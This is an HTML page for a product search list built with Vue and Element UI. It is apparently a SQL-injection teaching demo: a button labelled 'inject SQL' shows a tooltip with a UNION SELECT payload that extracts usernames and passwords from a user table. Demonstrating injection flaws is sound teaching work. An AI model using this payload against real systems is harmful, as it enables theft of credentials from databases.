<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>商品列表</title>
    <link type="text/css" rel="stylesheet" href="css/index.css">
    <script src="js/vue.js"></script>
    <script src="js/index.js"></script>
    <script src="js/axios.min.js"></script>
</head>
<body>
<div id="container">
    <el-container>
        <el-main>
            <el-row>
                <el-input
                        placeholder="商品名关键字"
                        suffix-icon="el-icon-search"
                        v-model="queryName"
                        @change="list()">
                </el-input>
            </el-row>
            <el-row style="margin-top: 4px">
                <el-table
                        :data="productList"
                        style="width: 100%">
                    <el-table-column
                            prop="id"
                            label="编号"
                            width="180">
                    </el-table-column>
                    <el-table-column
                            prop="name"
                            label="名称"
                            width="180">
                    </el-table-column>
                    <el-table-column
                            prop="price"
                            label="价格">
                    </el-table-column>
                </el-table>
                <div style="margin-top: 10px">
                    <el-tooltip class="item" effect="dark"
                                content="' and id=0 union select 1,concat(username,'_',password),1 from test.user where username like '"
                                placement="bottom">
                        <el-button>注入sql</el-button>
                    </el-tooltip>
                </div>
            </el-row>
        </el-main>
    </el-container>
</div>
<script>
    new Vue({
        el: "#container",
        data: {
            productList: [],
            queryName: ''
        },
        methods: {
            list: function () {
                axios.get('/products', {
                    params: {name: this.queryName}
                }).then((response) => {
                    this.productList = response.data
                    console.log(this.productList)
                }).catch((error) => {
                    console.log(error);
                });
            }
        },
        mounted: function () {
            this.list();
        }
    });
</script>
<style>
    html, body {
        margin: 0;
        padding: 0;
        background: url("image/logo.jpg") no-repeat;
        width: 100%;
        height: 100%;
        background-size: 100% 100%;
        position: absolute;
    }
</style>
</body>
</html>